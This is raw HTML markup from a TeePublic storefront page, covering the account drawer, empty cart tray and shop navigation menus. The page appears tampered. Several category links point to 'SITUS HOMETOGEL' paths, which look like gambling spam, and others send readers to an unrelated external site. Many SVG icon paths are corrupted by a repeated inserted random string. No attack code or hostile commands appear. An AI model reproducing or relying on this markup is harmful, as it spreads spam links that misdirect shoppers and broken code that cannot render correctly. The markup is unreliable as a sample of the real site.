            <a data-gtm-footer-link-text="Privacy Policy" rel="nofollow" href="/privacy_policy" class="link m-footer__legal-bar-subnav-link gtmFooterLink">
             <span class='link__content'> Privacy Policy </span>
            </a>
            <a data-gtm-footer-link-text="Terms" rel="nofollow" href="/terms" class="link m-footer__legal-bar-subnav-link gtmFooterLink">
             <span class='link__content'> Terms </span>
            </a>
           </div>
          </div>
         </div>
        </div>
        <div class='overlay-ui overlay--dark jsOverlay'></div>
        <menu class="drawer m-tray m-tray-account jsHeaderTray" data-controller="containers--drawer-component rudderstack--link-clicked" data-rudderstack--link-clicked-location-value="nav-account" data-rudderstack--link-clicked-account-type-value="guest" data-rudderstack--link-clicked-state-value="guest" data-containers--drawer-component-target="content">
         <div class="drawer__backdrop" data-action="click-&gt;containers--drawer-component#close"></div>
         <div class='drawer__wrapper drawer__wrapper--right'>
          <section class="drawer__component drawer--dark m-tray-account__body">
           <button type="button" class="btn drawer__close-button tp-btn--medium btn--no-background tp-btn--icon" data-action="click-&gt;containers--drawer-component#closePrimaryDrawer">
            <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
             <img src="https://assets.teepublic.com/assets/teepublicons/x_close_orange400-c1926221e50e7f6686d23ac344405449054e43f23d0f3306f15d8dfd546f999a.svg" loading="lazy" alt="Close Drawer" height="12" width="12" aria_hidden="false" focusable="true">
            </span>
            <div class='button__content'></div>
           </button>
           <div class='drawer__header-container'>
            <div class="drawer__header m-tray-account__header">
             <div class='m-tray-account__header-user'>
              <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
               <img src="https://assets.teepublic.com/assets/teepublicons/user_primary400-cbe4923027a0625a846acda949725368bbe52ac03f2bde950bf4891a338de0a5.svg" loading="lazy" height="24" width="24" aria_hidden="true" focusable="false">
              </span>
              <div class='m-tray-account__header-text'>Welcome Guest!</div>
             </div>
             <div class='m-tray-account__header-action'>
              <a href="/users/sign_in" class="link link__cta link__cta--on-dark link--default link--strong">
               <span class='link__content'> Log In </span>
              </a>
             </div>
            </div>
           </div>
           <div class='drawer__content-container jsDrawerContentContainer'>
            <div class='m-tray-account__body'>
             <div class='m-tray-account__content-block'>
              <div class="link-collection">
               <div class="link-collection__body">
                <h3 class="link-collection__header h--no-s">Sign Up</h3>
                <div class="tp-text-note tp-text-note--orange tp-text-note--on-dark">
                 <div class='tp-text-note__body'>
                  <p class='tp-text-note__text'> Create an account to save your favorite designs for viewing anytime, on any device. </p>
                  <a href="/users/sign_up?source=nav-account" class="link tp-text-note--link link--medium link__cta link__cta--on-dark link--medium">
                   <span class='link__content'> Create an Account </span>
                  </a>
                 </div>
                </div>
                <div class="link-collection__content">
                 <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Artist Sign Up" data-href="/designer-signup" style="--animation-order: " href="/designer-signup" class="link link-collection__link link--1 link--default tp-btn--icon">
                  <span class="teepublicon teepublicon--primary-400 teepublicon-background--transparent">
                   <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="20" height="20" focusable="false" aria-hidden="true">
                    <path fill-rule="evenodd" d="M19.96 4.375C12.195 5.891 5.937 12.137 4.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo497-7.69 4.758-7.69.524 0 1.098.018 1.7.037 4.133.133 9.597.31 9.597-5.142C44 10.985 32 2.024 19.96 4.375ZM34.093 20.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo0-6 3 3 0 0 1 0 6ZM9 24.982a3 3 0 1 0 6 0 3 3 0 0 0-6 0Z" clip-rule="evenodd"></path>
                   </svg>
                  </span>
                  <span class='link__content'> Artist Sign Up </span>
                 </a>
                 <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="About TeePublic" data-href="/about" style="--animation-order: " href="/about" class="link link-collection__link link--1 link--default tp-btn--icon">
                  <span class="teepublicon teepublicon--primary-400 teepublicon-background--transparent">
                   <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="20" height="20" focusable="false" aria-hidden="true">
                    <path fill-rule="evenodd" d="M44 24c0 11.046-8.954 20-20 20S4 35.046 4 24 12.954 4 24 4s20 8.954 20 20Zm-20-3.75c1.657 0 3 1.194 3 2.667v10.666c0 1.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo6 3 3 0 0 0 0 6Z" clip-rule="evenodd"></path>
                   </svg>
                  </span>
                  <span class='link__content'> About TeePublic </span>
                 </a>
                 <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Social Responsibility" data-href="/social-responsibility" style="--animation-order: " href="/social-responsibility" class="link link-collection__link link--1 link--default tp-btn--icon">
                  <span class="teepublicon teepublicon--primary-400 teepublicon-background--transparent">
                   <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="20" height="20" focusable="false" aria-hidden="true">
                    <path d="M10.6 4.822c-.99-1.489-2.207-.62-2.691 0-2.627 2.714-4.156 10.01-3.876 14.227 1.399 21.067 18.845 24.714 21.8 24.897 7.052.438 9.797-1.915 10.712-2.572.916-.656.788-1.28.396-2.874-.998-4.059-4.04-6.834-8.984-10.147-2.191-1.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo4.637 2.779 7.985 6.088 9.982 8.117 1.996 2.03 3.285 4.782 3.993 3.044 1.36-3.337 1.097-6.145.936-8.279-1.238-11.764-11.413-15.43-15.61-16.36-4.199-.93-8.237-1.588-11.198-2.025-2.961-.438-5.221-1.096-6.459-2.955Z"></path>
                   </svg>
                  </span>
                  <span class='link__content'> Social Responsibility </span>
                 </a>
                </div>
               </div>
              </div>
             </div>
            </div>
           </div>
           <div class="drawer__footer-container m-tray-account__footer">
            <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Create Account" data-href="/users/sign_up?source=nav-account" href="/users/sign_up?source=nav-account" class="link m-tray-account__footer-button btn--no-space full-width btn c-link__button link--default link--strong">
             <span class='link__content'> Create Account </span>
            </a>
           </div>
          </section>
         </div>
        </menu>
        <menu class="drawer m-tray m-tray-cart jsHeaderTray jsCartTray" data-controller="rudderstack--link-clicked rudderstack--checkout-clicked containers--drawer-component navigation--cart" data-rudderstack--link-clicked-location-value="nav-cart" data-rudderstack--checkout-clicked-cart-id-value="{&quot;public_id&quot;:&quot;9a8c68d58aaa0c110ea9655af8a790a4&quot;}" data-rudderstack--checkout-clicked-location-value="nav-cart" data-rudderstack--checkout-clicked-products-value="[]" data-rudderstack--checkout-clicked-request-action-value="show" data-rudderstack--checkout-clicked-request-controller-value="product_pages" data-rudderstack--checkout-clicked-state-value="empty" data-rudderstack--checkout-clicked-currency-code-value="IDR" data-rudderstack--checkout-clicked-discount-usd-value="0.0" data-rudderstack--checkout-clicked-on-sale-savings-usd-value="0.0" data-rudderstack--checkout-clicked-product-revenue-usd-value="0.0" data-navigation--cart-target="cartContent" data-navigation--cart-quantity-value="0" data-navigation--cart-lazyload-path-value="/lazyload_cart_tray" data-navigation--cart-fire-request-value="false" data-rudderstack--link-clicked-state-value="empty" data-containers--drawer-component-target="content">
         <div class="drawer__backdrop" data-action="click-&gt;containers--drawer-component#close"></div>
         <div class='drawer__wrapper drawer__wrapper--right'>
          <section class="drawer__component drawer--light m-tray-cart__wrapper">
           <button type="button" class="btn drawer__close-button tp-btn--medium btn--no-background tp-btn--icon" data-action="click-&gt;containers--drawer-component#closePrimaryDrawer">
            <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
             <img src="https://assets.teepublic.com/assets/teepublicons/x_close_orange400-c1926221e50e7f6686d23ac344405449054e43f23d0f3306f15d8dfd546f999a.svg" loading="lazy" alt="Close Drawer" height="12" width="12" aria_hidden="false" focusable="true">
            </span>
            <div class='button__content'></div>
           </button>
           <div class='drawer__header-container'>
            <div class="drawer__header m-tray-cart__header">
             <h3 data-cart-quantity-total='0' data-navigation--cart-target='cartQuantity'>Cart Preview (0)</h3>
            </div>
           </div>
           <div class='drawer__content-container jsDrawerContentContainer'>
            <div class='free-shipping__progress' data-checkout--coupon-target='freeShippingProgressBar' data-controller='checkout--coupon'>
             <div class='free-shipping__progress-bar-message'> You're <span class='strong'>$70.00</span> Away from <span class='strong'>FREE US Shipping!</span>
             </div>
             <div class='free-shipping__progress-bar'>
              <div class='free-shipping__progress-bar-value strong'>$0</div>
              <div class="tpvc-progress-bar__container">
               <div class='tpvc-progress-bar__fill' style='width: 0.0%'></div>
              </div>
              <div class='free-shipping__progress-bar-value strong'>$70</div>
             </div>
            </div>
            <div class='m-tray-cart__body m-tray-cart__body--empty'>
             <h4>Your Cart is empty...</h4>
             <p>Discover something you'll love!</p>
             <div class='m-tray-cart__body-links'>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="animals" data-href="https://entreprises-adaptees.fr/rse" href="https://entreprises-adaptees.fr/rse" class="link vc-pill vc-pill--on-light link--default link--strong tp-btn--icon">
               <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
                <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="16" height="16" focusable="false" aria-hidden="true">
                 <path fill-rule="evenodd" d="M31.523 35.766a17.393 17.393 0 0 1-10.051 3.178C11.822 38.944 4 31.121 4 21.472 4 11.822 11.822 4 21.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.243 4.243l-7.355-7.355Zm1.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.471 11.471 5.136 11.471 11.471Z" clip-rule="evenodd"></path>
                </svg>
               </span>
               <span class='link__content'> animals </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="anime" data-href="/SITUS HOMETOGEL/anime" href="/SITUS HOMETOGEL/anime" class="link vc-pill vc-pill--on-light link--default link--strong tp-btn--icon">
               <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
                <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="16" height="16" focusable="false" aria-hidden="true">
                 <path fill-rule="evenodd" d="M31.523 35.766a17.393 17.393 0 0 1-10.051 3.178C11.822 38.944 4 31.121 4 21.472 4 11.822 11.822 4 21.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.243 4.243l-7.355-7.355Zm1.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.471 11.471 5.136 11.471 11.471Z" clip-rule="evenodd"></path>
                </svg>
               </span>
               <span class='link__content'> anime </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="drinks" data-href="/SITUS HOMETOGEL/drinks" href="/SITUS HOMETOGEL/drinks" class="link vc-pill vc-pill--on-light link--default link--strong tp-btn--icon">
               <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
                <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="16" height="16" focusable="false" aria-hidden="true">
                 <path fill-rule="evenodd" d="M31.523 35.766a17.393 17.393 0 0 1-10.051 3.178C11.822 38.944 4 31.121 4 21.472 4 11.822 11.822 4 21.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.243 4.243l-7.355-7.355Zm1.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.471 11.471 5.136 11.471 11.471Z" clip-rule="evenodd"></path>
                </svg>
               </span>
               <span class='link__content'> drinks </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="fantasy" data-href="/SITUS HOMETOGEL/fantasy" href="/SITUS HOMETOGEL/fantasy" class="link vc-pill vc-pill--on-light link--default link--strong tp-btn--icon">
               <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
                <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="16" height="16" focusable="false" aria-hidden="true">
                 <path fill-rule="evenodd" d="M31.523 35.766a17.393 17.393 0 0 1-10.051 3.178C11.822 38.944 4 31.121 4 21.472 4 11.822 11.822 4 21.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.243 4.243l-7.355-7.355Zm1.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.471 11.471 5.136 11.471 11.471Z" clip-rule="evenodd"></path>
                </svg>
               </span>
               <span class='link__content'> fantasy </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="food" data-href="/SITUS HOMETOGEL/food" href="/SITUS HOMETOGEL/food" class="link vc-pill vc-pill--on-light link--default link--strong tp-btn--icon">
               <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
                <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="16" height="16" focusable="false" aria-hidden="true">
                 <path fill-rule="evenodd" d="M31.523 35.766a17.393 17.393 0 0 1-10.051 3.178C11.822 38.944 4 31.121 4 21.472 4 11.822 11.822 4 21.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.243 4.243l-7.355-7.355Zm1.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.471 11.471 5.136 11.471 11.471Z" clip-rule="evenodd"></path>
                </svg>
               </span>
               <span class='link__content'> food </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="funny" data-href="https://entreprises-adaptees.fr/rse" href="https://entreprises-adaptees.fr/rse" class="link vc-pill vc-pill--on-light link--default link--strong tp-btn--icon">
               <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
                <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="16" height="16" focusable="false" aria-hidden="true">
                 <path fill-rule="evenodd" d="M31.523 35.766a17.393 17.393 0 0 1-10.051 3.178C11.822 38.944 4 31.121 4 21.472 4 11.822 11.822 4 21.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.243 4.243l-7.355-7.355Zm1.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.471 11.471 5.136 11.471 11.471Z" clip-rule="evenodd"></path>
                </svg>
               </span>
               <span class='link__content'> funny </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="movies" data-href="https://entreprises-adaptees.fr/rse" href="https://entreprises-adaptees.fr/rse" class="link vc-pill vc-pill--on-light link--default link--strong tp-btn--icon">
               <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
                <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="16" height="16" focusable="false" aria-hidden="true">
                 <path fill-rule="evenodd" d="M31.523 35.766a17.393 17.393 0 0 1-10.051 3.178C11.822 38.944 4 31.121 4 21.472 4 11.822 11.822 4 21.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.243 4.243l-7.355-7.355Zm1.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.471 11.471 5.136 11.471 11.471Z" clip-rule="evenodd"></path>
                </svg>
               </span>
               <span class='link__content'> movies </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="sci-fi" data-href="https://entreprises-adaptees.fr/rse" href="https://entreprises-adaptees.fr/rse" class="link vc-pill vc-pill--on-light link--default link--strong tp-btn--icon">
               <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
                <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="16" height="16" focusable="false" aria-hidden="true">
                 <path fill-rule="evenodd" d="M31.523 35.766a17.393 17.393 0 0 1-10.051 3.178C11.822 38.944 4 31.121 4 21.472 4 11.822 11.822 4 21.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.243 4.243l-7.355-7.355Zm1.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.471 11.471 5.136 11.471 11.471Z" clip-rule="evenodd"></path>
                </svg>
               </span>
               <span class='link__content'> sci-fi </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="sports" data-href="https://entreprises-adaptees.fr/rse" href="https://entreprises-adaptees.fr/rse" class="link vc-pill vc-pill--on-light link--default link--strong tp-btn--icon">
               <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
                <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="16" height="16" focusable="false" aria-hidden="true">
                 <path fill-rule="evenodd" d="M31.523 35.766a17.393 17.393 0 0 1-10.051 3.178C11.822 38.944 4 31.121 4 21.472 4 11.822 11.822 4 21.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.243 4.243l-7.355-7.355Zm1.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.471 11.471 5.136 11.471 11.471Z" clip-rule="evenodd"></path>
                </svg>
               </span>
               <span class='link__content'> sports </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="television" data-href="https://entreprises-adaptees.fr/rse" href="https://entreprises-adaptees.fr/rse" class="link vc-pill vc-pill--on-light link--default link--strong tp-btn--icon">
               <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
                <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="16" height="16" focusable="false" aria-hidden="true">
                 <path fill-rule="evenodd" d="M31.523 35.766a17.393 17.393 0 0 1-10.051 3.178C11.822 38.944 4 31.121 4 21.472 4 11.822 11.822 4 21.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.243 4.243l-7.355-7.355Zm1.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.471 11.471 5.136 11.471 11.471Z" clip-rule="evenodd"></path>
                </svg>
               </span>
               <span class='link__content'> television </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="vintage" data-href="https://entreprises-adaptees.fr/rse" href="https://entreprises-adaptees.fr/rse" class="link vc-pill vc-pill--on-light link--default link--strong tp-btn--icon">
               <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
                <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="16" height="16" focusable="false" aria-hidden="true">
                 <path fill-rule="evenodd" d="M31.523 35.766a17.393 17.393 0 0 1-10.051 3.178C11.822 38.944 4 31.121 4 21.472 4 11.822 11.822 4 21.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.243 4.243l-7.355-7.355Zm1.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.471 11.471 5.136 11.471 11.471Z" clip-rule="evenodd"></path>
                </svg>
               </span>
               <span class='link__content'> vintage </span>
              </a>
             </div>
            </div>
            </a>
           </div>
          </section>
         </div>
        </menu>
        <menu class="drawer m-tray m-tray-shop jsHeaderTray jsDrawerPrimary" data-controller="containers--drawer-component navigation--tray-trigger rudderstack--filter-clicked rudderstack--link-clicked" data-navigation--tray-trigger-containers--drawer-component-outlet=".jsSecondaryShopTray" data-rudderstack--filter-clicked-location-value="nav-shop-l1" data-rudderstack--link-clicked-location-value="nav-shop-l1" data-containers--drawer-component-target="content">
         <div class="drawer__backdrop" data-action="click-&gt;navigation--tray-trigger#closeAllOutletTrays click-&gt;containers--drawer-component#close"></div>
         <div class='drawer__wrapper drawer__wrapper--left'>
          <div class="drawer__component drawer--light m-tray-shop-secondary jsSecondaryShopTray m-tray-shop-designs" data-containers--drawer-component-target="content" data-containers--drawer-component-containers--drawer-component-outlet=".jsDrawerPrimary" data-controller="containers--drawer-component rudderstack--link-clicked rudderstack--filter-clicked" data-rudderstack--link-clicked-location-value="nav-shop-l2" data-rudderstack--filter-clicked-location-value="nav-shop-l2">
           <button type="button" class="btn drawer__close-button tp-btn--medium btn--no-background tp-btn--icon" data-action="click-&gt;containers--drawer-component#closePrimaryDrawer">
            <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
             <img src="https://assets.teepublic.com/assets/teepublicons/x_close_orange400-c1926221e50e7f6686d23ac344405449054e43f23d0f3306f15d8dfd546f999a.svg" loading="lazy" alt="Close Drawer" height="12" width="12" aria_hidden="false" focusable="true">
            </span>
            <div class='button__content'></div>
           </button>
           <div class='drawer__content-container jsDrawerContentContainer'>
            <div class='m-tray-shop-secondary__body'>
             <div class='m-tray-shop-secondary__content'>
              <h3>Shop Designs</h3>
              <div class='m-tray-shop-secondary__designs' data-containers--content-lazy-loader-fire-request-value='true' data-containers--content-lazy-loader-url-value='/lazyload_shop_tray_best_sellers_content' data-controller='containers--content-lazy-loader'>
               <div class="tp-loader m-tray-shop-secondary__loader jsShopTrayBestSellersLoader tp-loader--default">
                <div class='tp-loader__spinner updating tp-loader__spinner--default'></div>
               </div>
              </div>
              <div class="link-collection m-tray-shop-secondary__links">
               <div class="link-collection__body">
                </a>
                <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="New Tees on Sale" data-href="/SITUS HOMETOGEL?sort=newest" style="--animation-order: " href="/SITUS HOMETOGEL?sort=newest" class="link m-tray-shop-secondary__link link-collection__link link--1 link--default">
                 <span class='link__content'> New Tees on Sale </span>
                </a>
                <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Newest Designers" data-href="/newest-designers" style="--animation-order: " href="/newest-designers" class="link m-tray-shop-secondary__link link-collection__link link--1 link--default">
                 <span class='link__content'> Newest Designers </span>
                </a>
                <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Tag Directory" data-href="/tag-directory" style="--animation-order: " href="/tag-directory" class="link m-tray-shop-secondary__link link-collection__link link--1 link--default">
                 <span class='link__content'> Tag Directory </span>
                </a>
               </div>
              </div>
             </div>
            </div>
            <div class='m-tray-shop-secondary__content'>
             <h3>Artist Collections</h3>
             <div class="link-collection m-tray-shop-secondary__links">
              <div class="link-collection__body">
               <div class="link-collection__content">
                <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Featured Designers" data-href="/featured-designers" style="--animation-order: " href="/featured-designers" class="link m-tray-shop-secondary__link link-collection__link link--1 link--default">
                 <span class='link__content'> Featured Designers </span>
                </a>
                <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Artists to Watch" data-href="/stores/artists-to-watch" style="--animation-order: " href="/stores/artists-to-watch" class="link m-tray-shop-secondary__link link-collection__link link--1 link--default">
                 <span class='link__content'> Artists to Watch </span>
                </a>
                <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Creators to Watch" data-href="/stores/creators-to-watch " style="--animation-order: " href="/stores/creators-to-watch " class="link m-tray-shop-secondary__link link-collection__link link--1 link--default">
                 <span class='link__content'> Creators to Watch </span>
                </a>
                <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="AAPI Artists" data-href="/stores/aapi-artists" style="--animation-order: " href="/stores/aapi-artists" class="link m-tray-shop-secondary__link link-collection__link link--1 link--default">
                 <span class='link__content'> AAPI Artists </span>
                </a>
                <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="BIPOC Artists" data-href="/stores/bipoc-artists" style="--animation-order: " href="/stores/bipoc-artists" class="link m-tray-shop-secondary__link link-collection__link link--1 link--default">
                 <span class='link__content'> BIPOC Artists </span>
                </a>
                <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Black Artists" data-href="/stores/black-artists-on-teepublic" style="--animation-order: " href="/stores/black-artists-on-teepublic" class="link m-tray-shop-secondary__link link-collection__link link--1 link--default">
                 <span class='link__content'> Black Artists </span>
                </a>
                <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Celebrate Women Artists" data-href="/stores/celebrate-women" style="--animation-order: " href="/stores/celebrate-women" class="link m-tray-shop-secondary__link link-collection__link link--1 link--default">
                 <span class='link__content'> Celebrate Women Artists </span>
                </a>
                <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="LGBTQIA Artists" data-href="/stores/lgbtqia-artists" style="--animation-order: " href="/stores/lgbtqia-artists" class="link m-tray-shop-secondary__link link-collection__link link--1 link--default">
                 <span class='link__content'> LGBTQIA Artists </span>
                </a>
                <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Ukrainian Artists" data-href="/stores/ukrainian-artists" style="--animation-order: " href="/stores/ukrainian-artists" class="link m-tray-shop-secondary__link link-collection__link link--1 link--default">
                 <span class='link__content'> Ukrainian Artists </span>
                </a>
               </div>
              </div>
             </div>
            </div>
           </div>
          </div>
          <div class="drawer__footer-container m-tray-shop-secondary__footer">
           <button type="button" class="btn m-shop-tray-secondary__back-btn btn--no-space tp-btn--medium btn--no-background btn--cta btn--cta--on-light" data-action="containers--drawer-component#closeDrawer containers--drawer-component#handleBackToMenu click-&gt;rudderstack--filter-clicked#track" data-cart-id="0ce71249954f259d214421f37b14aeee" data-filter-name="back to menu" data-filter-option-label="Back to Menu">
            <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent teepublicon--rotate-180">
             <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="16" height="16" focusable="false" aria-hidden="true">
              <path fill-rule="evenodd" d="M44 24c0 .755-.26 1.361-.395 1.648-.165.35-.367.677-.554.955-.378.558-.868 1.163-1.381 1.755-1.037 1.196-4.383 4.582-5.683 5.87a177.078 177.078 0 0 1-5.221 4.963l-.002.002c-1.242 1.13-3.19 1.066-4.35-.145a2.947 2.947 0 0 1 .148-4.24c2.066-1.887 6.094-5.816 8.053-7.808H7.078C5.378 27 4 25.657 4 24s1.378-3 3.078-3h27.537c-1.959-1.992-6.741-6.612-8.051-7.806-1.31-1.194-1.31-3.03-.15-4.241a3.134 3.134 0 0 1 4.35-.146 169.18 169.18 0 0 1 5.223 4.965c1.3 1.288 4.646 4.675 5.683 5.87.513.592 1.003 1.197 1.38 1.756.188.277.39.604.555.954.135.287.395.894.395 1.648Z" clip-rule="evenodd"></path>
             </svg>
            </span>
            <div class='button__content'> Back To Menu </div>
           </button>
          </div>
         </div>
         <div class="drawer__component drawer--light m-tray-shop-secondary jsSecondaryShopTray m-tray-shop-apparel" data-containers--drawer-component-target="content" data-containers--drawer-component-containers--drawer-component-outlet=".jsDrawerPrimary" data-controller="containers--drawer-component rudderstack--link-clicked rudderstack--filter-clicked" data-rudderstack--link-clicked-location-value="nav-shop-l2" data-rudderstack--filter-clicked-location-value="nav-shop-l2">
          <button type="button" class="btn drawer__close-button tp-btn--medium btn--no-background tp-btn--icon" data-action="click-&gt;containers--drawer-component#closePrimaryDrawer">
           <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
